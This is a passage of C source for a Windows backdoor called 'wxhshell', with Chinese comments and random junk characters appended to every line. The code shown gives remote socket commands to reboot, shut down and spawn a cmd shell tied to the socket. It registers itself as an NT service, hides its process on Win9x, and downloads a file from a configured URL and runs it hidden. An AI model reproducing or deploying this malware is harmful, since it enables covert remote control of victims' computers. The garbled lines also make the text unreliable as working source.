  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  hq<5lE^  
  } HU &)  
  else { {-@~Q.&}v  
5Yi Z-CQ>  
    switch(cmd[0]) { [pii  
  2sKG(^=Z  
  // 帮助 lhqQ CV  
  case '?': { XRa(sXA3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pW\z\o/2  
    break; 4\M8BRuE  
  } *URdd,){i  
  // 安装 eZg$AOpU  
  case 'i': { EeCFII  
    if(Install()) iTh xVD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]s4% 9T  
    else W h| L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7*i }km  
    break; !@u&{"{`  
    } Sx8l<X  
  // 卸载 &p5&=zV}  
  case 'r': { HZ }6Q  
    if(Uninstall()) %>Bko,ET  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AD]e0_E  
    else +?;j&p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {h#6z>p"u2  
    break; M% @  
    } k oM]S+1  
  // 显示 wxhshell 所在路径 {FWyu5.  
  case 'p': { p*|ah%F6N  
    char svExeFile[MAX_PATH]; vMhYpt?7\  
    strcpy(svExeFile,"\n\r"); :BZMnCfA  
      strcat(svExeFile,ExeFile); IAI(Ix  
        send(wsh,svExeFile,strlen(svExeFile),0); Ik j=`,a2B  
    break; b,dr+RB  
    } w NH9WG  
  // 重启 gN?0m4[$i  
  case 'b': { lEHwZ<je  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /xySwSmh3  
    if(Boot(REBOOT)) H"+wsM^@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); exQ#<x*  
    else { &]< 3 ~6n  
    closesocket(wsh); O)uOUB  
    ExitThread(0); EJLQ&oH[  
    } (S F1y/g@=  
    break; Z:@6Lv?CN  
    } _gW{gLYyJ  
  // 关机 |5,<jyp  
  case 'd': { tMFsA`ng  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h4(JUio  
    if(Boot(SHUTDOWN)) DLi?'K3t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XJSa]P^B1  
    else { R}r~p?(M  
    closesocket(wsh); /b#q*x-b  
    ExitThread(0); HzvlF0f  
    } d&jjWlHgEN  
    break; BwxnDeG)  
    } rjUBLY1(  
  // 获取shell V^n0GJNo  
  case 's': { JrDHRIkgm  
    CmdShell(wsh); QU/fT_ORw  
    closesocket(wsh); Uk,g> LG  
    ExitThread(0); LkBZlh_  
    break; z(me@P!D~  
  } >)Gd:636+  
  // 退出 Mra35  
  case 'x': { F;u_7OM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x=]S.XI  
    CloseIt(wsh); -U -P}6^  
    break; IU#x[P!  
    } 5ZK&fKeCF  
  // 离开 /p)F>WR  
  case 'q': { Zu21L3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s+,&|;Q  
    closesocket(wsh); m'x;,xfY&F  
    WSACleanup(); b,@aqu  
    exit(1); C>X|VP |C  
    break; tnb$sulc+  
        } VFj(M j`}G  
  } /0lC KU!=  
  } =e BmBn  
z/7$NxJH  
  // 提示信息 3;_ n{&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >A}0Ho  
} LA4<#KP  
  } ;`(R7X *3  
MBw-*K'?zB  
  return; 8IGt4UF&?  
} _1|$P|$P.  
/L v1$~  
// shell模块句柄 7I}P*%(f  
int CmdShell(SOCKET sock) #BY`h~&T  
{ ``|AgIg  
STARTUPINFO si; 6/tI8H3E  
ZeroMemory(&si,sizeof(si)); SfB8!V|;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >xg5z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uzBz}<M=  
PROCESS_INFORMATION ProcessInfo; ?j{C*|yHO  
char cmdline[]="cmd"; OBOwz4<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =o^|bih  
  return 0; WeMAe w/d  
} R7?29?$7  
A:# k  
// 自身启动模式 DBsDk kB{  
int StartFromService(void) gfy19c 9  
{ j6g@tx^)'  
typedef struct  8=;k"  
{ 'bu)M1OLi  
  DWORD ExitStatus; OH6^GPF6  
  DWORD PebBaseAddress; &@v<nO-  
  DWORD AffinityMask; t'1Y@e  
  DWORD BasePriority; O#eZ<hN V  
  ULONG UniqueProcessId; 9V 0}d2d  
  ULONG InheritedFromUniqueProcessId; N|:'XwL  
}   PROCESS_BASIC_INFORMATION; H?`g!cX  
qpp/8M  
PROCNTQSIP NtQueryInformationProcess; M\D]ml~  
bRo|uJ:d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %Mn.e a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1n=_y o  
u\1>gDI)|  
  HANDLE             hProcess; H!)=y  
  PROCESS_BASIC_INFORMATION pbi; x_MJJ(q8g  
CN&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *>q/WLR  
  if(NULL == hInst ) return 0; ^G1%6\We  
}#`:Qb \U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cYNV\b4-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lr@#^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8g~EL{'  
q]% T:A=  
  if (!NtQueryInformationProcess) return 0; T:iP="?{  
_. V?A*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sq2P-y!w  
  if(!hProcess) return 0; NHQF^2\\  
3l1cyPv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jO~:<y3 =  
X~9j$3lUBR  
  CloseHandle(hProcess); =L-I-e97@  
{~Tg7<\L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , YW|n:X  
if(hProcess==NULL) return 0; ;xYNX  
s!+ pL|  
HMODULE hMod; ?]O7Ao  
char procName[255]; kv{}C)kt3  
unsigned long cbNeeded; Vw{*P2v)  
g);^NAA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'LE"#2Hu  
';B#Gx  
  CloseHandle(hProcess); 3ec`Wa  
R^#@lI~  
if(strstr(procName,"services")) return 1; // 以服务启动 OE`X<h4r  
SA"p\}"  
  return 0; // 注册表启动 <|B1wa:|  
} MCTsi:V>+  
\nqkA{;B{  
// 主模块 kOL'|GgK  
int StartWxhshell(LPSTR lpCmdLine) RFaSwf,5n  
{ Cby;?F6w  
  SOCKET wsl; Z|lU8`'5  
BOOL val=TRUE; s1N?/>lmB  
  int port=0; 23\RJpKb  
  struct sockaddr_in door; S>Yj@L  
S$q =;"  
  if(wscfg.ws_autoins) Install(); .Ajzr8P  
/ |r'  
port=atoi(lpCmdLine); uQ1@b-e`5  
o{:xp r=(  
if(port<=0) port=wscfg.ws_port; |*5 =_vF  
G3i !PwW  
  WSADATA data; =+:{P?*}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =='Td[  
J:*-gwv9*m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }T2xXbU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D;}xr_  
  door.sin_family = AF_INET; )!bUR\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |SZo' 6  
  door.sin_port = htons(port); %r\n%$@_  
21X`h3+=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eV^d6T$  
closesocket(wsl); YY((#"o;l  
return 1; D/ybFk  
} hwYQGtjF  
H6*^Ga  
  if(listen(wsl,2) == INVALID_SOCKET) { y9H% Xl  
closesocket(wsl); <x pph t<  
return 1; #N(= 3Cj  
} 9m2, qr|  
  Wxhshell(wsl); +n0r0:z0  
  WSACleanup(); p{A}pnjf  
796\jf$  
return 0; HSUI${<  
0oZsb\  
} p9!"O  
Jzji&A~  
// 以NT服务方式启动 Rd \.:u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H9XvO  
{ ~/pzxo$  
DWORD   status = 0; 3rW|kkn  
  DWORD   specificError = 0xfffffff; 'NjzgZ~]P  
Rk<@?(l!6x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E51dV:l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +d}E&=p_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kl!wVLE  
  serviceStatus.dwWin32ExitCode     = 0; O|IG_RL]  
  serviceStatus.dwServiceSpecificExitCode = 0; BF*kb2"GZ6  
  serviceStatus.dwCheckPoint       = 0; \uqjs+  
  serviceStatus.dwWaitHint       = 0; tsOrt3   
5@IB39  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (tah]Bx  
  if (hServiceStatusHandle==0) return; w27KI]%(  
GG064zPq7  
status = GetLastError(); 'VyM{:8  
  if (status!=NO_ERROR) Bs+(L [Z  
{ ok^d@zI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =uk0@hy9b  
    serviceStatus.dwCheckPoint       = 0; NL=|z=q  
    serviceStatus.dwWaitHint       = 0; {N2g8W:  
    serviceStatus.dwWin32ExitCode     = status; -C-?`R  
    serviceStatus.dwServiceSpecificExitCode = specificError; n9w9JXp;!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ nA p6i  
    return; k(>h^  
  } {e[%;W%c&  
&X@Bs-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l& 4,v  
  serviceStatus.dwCheckPoint       = 0; <U5wB]]  
  serviceStatus.dwWaitHint       = 0; s^0/"j|7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4'j sDcs  
} 8KB>6[H!wE  
j Uv!9Y}F  
// 处理NT服务事件,比如:启动、停止 Ee)[\Qjn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =L%DX#8  
{ k Iw`P[  
switch(fdwControl) )[H{yQ  
{ Wt)Drv{@ {  
case SERVICE_CONTROL_STOP: 'w>_+jLT  
  serviceStatus.dwWin32ExitCode = 0; 0nn okN^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mpAR7AG6  
  serviceStatus.dwCheckPoint   = 0; K 8n4oz#z  
  serviceStatus.dwWaitHint     = 0; >EL)X #e  
  { 'E/*d2CDM(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m }a|FS  
  } Y$N)^=7  
  return; />¬$>  
case SERVICE_CONTROL_PAUSE: `p;eIt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0q>P~] Ow  
  break; D']ZlB 'K  
case SERVICE_CONTROL_CONTINUE: Wcb7 ;~K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ] 2 #  
  break; bfB\h*XO  
case SERVICE_CONTROL_INTERROGATE: NaVQ9ku7VW  
  break; F(4?tX T  
}; ,fK3ZC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "|;:>{JC  
} lzw3=H  
,NnhHb2\  
// 标准应用程序主函数 sK{l 9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }I 3gU  
{ G+B~Ix-  
M02uO`Y9  
// 获取操作系统版本 X37L\e[c  
OsIsNt=GetOsVer(); P\8@g U!uk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FX9F"42@  
6x"Q  
  // 从命令行安装 aQI^^$9g  
  if(strpbrk(lpCmdLine,"iI")) Install(); `D9]*c !mO  
:4~g;2oag  
  // 下载执行文件 <;E  
if(wscfg.ws_downexe) { `_b`kzJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;Yi4Xva@  
  WinExec(wscfg.ws_filenam,SW_HIDE); )jq?lw'&  
} 0sI1GhVR  
y=In?QN{6*  
if(!OsIsNt) { M?=;JJ:  
// 如果时win9x,隐藏进程并且设置为注册表启动 da1]mb=4 5  
HideProc(); * ),8PoT  
StartWxhshell(lpCmdLine); OB[o2G<0  
} 66^ycZCH  
else b-3*Nl_%  
  if(StartFromService()) TKk-;Y=N  
  // 以服务方式启动 qwIa?!8 o  
  StartServiceCtrlDispatcher(DispatchTable); 4iW'kuK  
else V9ssH87#  
  // 普通方式启动 SQeRSz8bK4  
  StartWxhshell(lpCmdLine); YF+n b.0.  
dw.F5?j`b  
return 0; n@ w^ V   
}
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只看该作者 1 发表于: 2006-10-10
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